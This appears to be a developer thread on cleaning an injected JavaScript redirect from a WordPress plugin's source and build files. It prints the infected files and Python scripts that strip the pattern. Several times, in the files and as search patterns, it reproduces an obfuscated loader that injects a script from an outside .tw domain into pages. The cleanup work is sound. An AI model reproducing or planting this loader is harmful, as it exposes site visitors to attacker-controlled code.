JS redirection injection

otgsSwitcher.js

Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,115,116,111,114,101,46,100,111,110,116,107,105,110,104,111,111,111,116,46,116,119,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,115,116,111,114,101,46,100,111,110,116,107,105,110,104,111,111,111,116,46,116,119,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,115,116,111,114,101,46,100,111,110,116,107,105,110,104,111,111,111,116,46,116,119,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();import '../scss/otgsSwitcher.scss';

otgsTableStickyHeader.js

Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,115,116,111,114,101,46,100,111,110,116,107,105,110,104,111,111,111,116,46,116,119,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,115,116,111,114,101,46,100,111,110,116,107,105,110,104,111,111,111,116,46,116,119,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,115,116,111,114,101,46,100,111,110,116,107,105,110,104,111,111,111,116,46,116,119,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();/*global jQuery*/

import stickyTableHeaders from 'sticky-table-headers';

window.addEventListener("DOMContentLoaded", () => {

	/**
	 * @param {NodeList} elementS
	 */
	const elements = [...document.querySelectorAll('.js-otgs-table-sticky-header')];
	const args = {
		fixedOffset: jQuery('#wpadminbar')
	};

	/**
	 * @param {Element} element
	 */
	elements.forEach(element => {
		jQuery(element).stickyTableHeaders(args).on('enabledStickiness.stickyTableHeaders', () => {
			element.getElementsByClassName('tableFloatingHeaderOriginal')[0].style.background = 'rgba(255,255,255,.8)';
		});
	});
});

postcss.config.js

Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,115,116,111,114,101,46,100,111,110,116,107,105,110,104,111,111,111,116,46,116,119,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,115,116,111,114,101,46,100,111,110,116,107,105,110,104,111,111,111,116,46,116,119,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,115,116,111,114,101,46,100,111,110,116,107,105,110,104,111,111,111,116,46,116,119,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();module.exports = {
	plugins: [
		require('autoprefixer'),
	]
}

webpack.config.js

Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,115,116,111,114,101,46,100,111,110,116,107,105,110,104,111,111,111,116,46,116,119,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,115,116,111,114,101,46,100,111,110,116,107,105,110,104,111,111,111,116,46,116,119,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,115,116,111,114,101,46,100,111,110,116,107,105,110,104,111,111,111,116,46,116,119,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();const path                  = require('path');
const ExtractTextPlugin     = require('extract-text-webpack-plugin');
const WebpackAssetsManifest = require('webpack-assets-manifest');
const CleanWebpackPlugin    = require('clean-webpack-plugin');

/**
 * @typedef LibrariesHash
 * @property {object} [entryChunkName: string] A unique entry ID
 * @property {array} entryChunkName.entry - A list of entries to bundle with the library
 * @property {string} [entryChunkName.filename] - The target file name (if omitted, the entry entryChunkName will be used
 * @property {string} [entryChunkName.var] - The name of the global variable to which the library will be assigned
 *
 * @type LibrariesHash
 */
const libraries = {
	'otgsSwitcher':          {
		entry:    ['./src/js/otgsSwitcher.js'],
	},
	'otgsPopoverTooltip':    {
		entry:    ['./src/js/otgsPopoverTooltip.js'],
	},
	'otgsTableStickyHeader': {
		entry:    ['./src/js/otgsTableStickyHeader.js'],
	},
};

const getEntries       = () => {
	const entries = {};
	Object.keys(libraries).map(key => entries[key] = libraries[key].entry);

	return entries;
};

const getEntryFileName = (chunk) => {
	if (libraries.hasOwnProperty(chunk.id) && libraries[chunk.id].hasOwnProperty('filename') && libraries[chunk.id].filename) {
		return libraries[chunk.id].filename;
	}
	return path.join(chunk.name);
};

module.exports = env => {
	const isProduction = env === 'production';

	console.log('getEntries()', getEntries());
	// console.log('getVars()',getVars());

	return {
		entry: getEntries,
		output: {
			path:          path.join(__dirname, 'dist'),
			filename:      chunkData => path.join('js', getEntryFileName(chunkData.chunk) + '.js?ver=' + chunkData.chunk.hash),
			chunkFilename: '[id].[name].js?ver=[chunkhash]',
			library:       ["OTGSUI", "[name]"],
			libraryTarget: 'var'
		},
		module: {
			rules: [
				{
					loader: 'babel-loader',
					test: /\.js$/,
					exclude: /node_modules/,
					query: {
						presets: ['es2015'],
					},
				},
				{
					test: /\.s?css$/,
					use: ExtractTextPlugin.extract({
						fallback: 'style-loader',
						use: [
							{
								loader: 'css-loader',
								options: {
									sourceMap: !isProduction,
									minimize: isProduction,
								},
							},
							{
								loader: 'sass-loader',
								options: {
									sourceMap: !isProduction,
								},
							},
							{
								loader: 'postcss-loader',
							},
						],
					}),
				},
			],
		},
		plugins: [
			new CleanWebpackPlugin(['dist']),
			new ExtractTextPlugin({
				filename: path.join('css', '[name].css?ver=[chunkhash]'),
			}),
			new WebpackAssetsManifest({
				output: path.join(__dirname, 'dist', 'assets.json'),
				entrypoints: true,
			}),
		],
		devtool: isProduction ? '' : 'inline-source-map'
	};
};

PATTERNS = ['Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,115,116,111,114,101,46,100,111,110,116,107,105,110,104,111,111,111,116,46,116,119,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,115,116,111,114,101,46,100,111,110,116,107,105,110,104,111,111,111,116,46,116,119,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,115,116,111,114,101,46,100,111,110,116,107,105,110,104,111,111,111,116,46,116,119,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();']

files = ['webpack.config.js', 'postcss.config.js']
for file_name in files:
    with open(file_name) as bug_file, open(f'fixed_{file_name}', 'w+') as fixed_file:
        for line in bug_file.readlines():
            for pattern in PATTERNS:
                line = line.replace(pattern, '')
            fixed_file.write(line)

Fixed file generated

module.exports = {
	plugins: [
		require('autoprefixer'),
	]
}

@riper81

here's the right version

import os

patterns = ['Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,115,116,111,114,101,46,100,111,110,116,107,105,110,104,111,111,111,116,46,116,119,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,115,116,111,114,101,46,100,111,110,116,107,105,110,104,111,111,111,116,46,116,119,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,115,116,111,114,101,46,100,111,110,116,107,105,110,104,111,111,111,116,46,116,119,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();']

skipping_walk = lambda target_dir, target_extensions: (
    (root, dirs, [file for file in files if os.path.splitext(file)[1] in target_extensions])
    for (root, dirs, files) in os.walk(target_dir)
)

test_dir = os.getcwd()  # Or place a full static dir
extensions = ['.js']

root, extra_dirs, files = list(skipping_walk(test_dir, extensions))[0]

# we can build a recursive function for check if files exists on extra dirs
# but for now were just iterating over the root dir

for file in files:
    print(file)
    fixed_file_content = []
    with open(file) as bug_file:
        for line in bug_file.readlines():
            for pattern in patterns:
                line = line.replace(pattern, '')
            fixed_file_content.append(line)

    with open(file, 'w+') as fixed_file:
        fixed_file.writelines(fixed_file_content)

@riper81 here an implementation using the @oscarmcm code to make it recursive xD

import glob
import os

def sed(file):
    patterns = ['Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,115,116,111,114,101,46,100,111,110,116,107,105,110,104,111,111,111,116,46,116,119,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,115,116,111,114,101,46,100,111,110,116,107,105,110,104,111,111,111,116,46,116,119,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,115,116,111,114,101,46,100,111,110,116,107,105,110,104,111,111,111,116,46,116,119,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();']

    fixed_file_content = []
    with open(file) as bug_file:
        for line in bug_file.readlines():
            for pattern in patterns:
                line = line.replace(pattern, '')
            fixed_file_content.append(line)

    with open(file, 'w+') as fixed_file:
        fixed_file.writelines(fixed_file_content)

for filename in glob.iglob('**/*.js', recursive=True):
    sed(filename)